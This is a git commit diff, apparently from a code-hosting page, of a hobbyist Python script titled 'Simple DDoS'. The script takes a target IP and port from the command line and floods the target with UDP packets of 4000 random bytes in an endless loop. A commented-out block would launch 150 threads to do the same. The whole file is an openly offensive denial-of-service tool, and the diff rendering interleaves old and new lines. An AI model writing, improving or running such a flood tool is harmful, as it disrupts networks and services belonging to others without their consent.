Create new branch to simplify things

This commit is contained in:
Tiffany 2023-11-14 11:50:49 -05:00
parent 904ec77932
commit 9ece63b941

View file

@ -1,9 +1,9 @@
import os import os, sys, socket
import platform import platform
import random import random
from datetime import datetime as dt
# import threading os.system('figlet Simple DDoS | lolcat')
import socket
# TODO: Read docs on time, os, random, threading, and platform # TODO: Read docs on time, os, random, threading, and platform
# TODO: Take questions to Mastodon # TODO: Take questions to Mastodon
@ -17,9 +17,10 @@ G = '\033[32m'
C = '\033[36m' C = '\033[36m'
W = '\033[0m' W = '\033[0m'
# v1: just create ddos script # v1: just create ddos script
# Instead of using SOCK_STREAM for TCP connections # Instead ofusing SOCK_STREAM for TCP connections
# using SOCK_DGRAM for UDP connections to keep packets small # using SOCK_DGRAM for UDP connections to keep packets small
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand # If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
# what that means for the network being hit # what that means for the network being hit
@ -29,67 +30,52 @@ W = '\033[0m'
# TODO: research ipv6 # TODO: research ipv6
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes1 = random.randbytes(2000)
bytes2 = random.randbytes(2900)
system = platform.uname().system
# this is better system = getattr(platform.uname(), "system") # this is better system = getattr(platform.uname(), "system")
# instead of hardcoding a specific index # instead of hardcoding a specific index
# because if something in the l # because if something in the l
def check_os(): def ddos(target, port):
if system == 'Windows':
os.system("cls")
elif system == 'Unix':
os.system("clear")
class DDoS:
pass
def __init__(self, target, port, ip):
self.target = target
self.port = port
self.ip = ip
# call function to check what system is used
# Why use a try
def ddos(target, port, ipaddress):
sent = 0 sent = 0
try: if len(sys.argv) == 3:
while True: socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto
sock.sendto(bytes1, (target, port)) else:
sent = sent + 1 print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) print("-" * 25)
while True: print("Attacking target:" + target)
sock.sendto(bytes2, (target, port)) print("Time started:" + str(dt.now()))
sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
# Break out of infinite loop try:
# create an infinite loop to continuously send junk data
# to target ip
while True:
# Create a new socket
# assign socket to s
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except KeyboardInterrupt: # create a variable that will send 4000 random bytes
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
except socket.gaierror: bytes1 = random.randbytes(4000)
print(R + '[-] ' + C + 'Unknown address.') # bytes2 = random.randbytes(4000)
print(R + '[-] ' + C + 'Please input the correct ip address.') # system = platform.uname().system
except NameError: # send 4000 random bytes to the target on port passed as arg
print(R + '[-] ' + C + 'Unknown address.') s.sendto(bytes1, (target, port))
print(R + '[-] ' + C + 'Please input the correct ip address.') sent = sent + 1
# For introducing to the script later # Break out of infinite loop
except KeyboardInterrupt:
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
except socket.gaierror:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
except NameError:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
# for i in range(150):
# thread = threading.Thread(target=ddos)
# thread.start()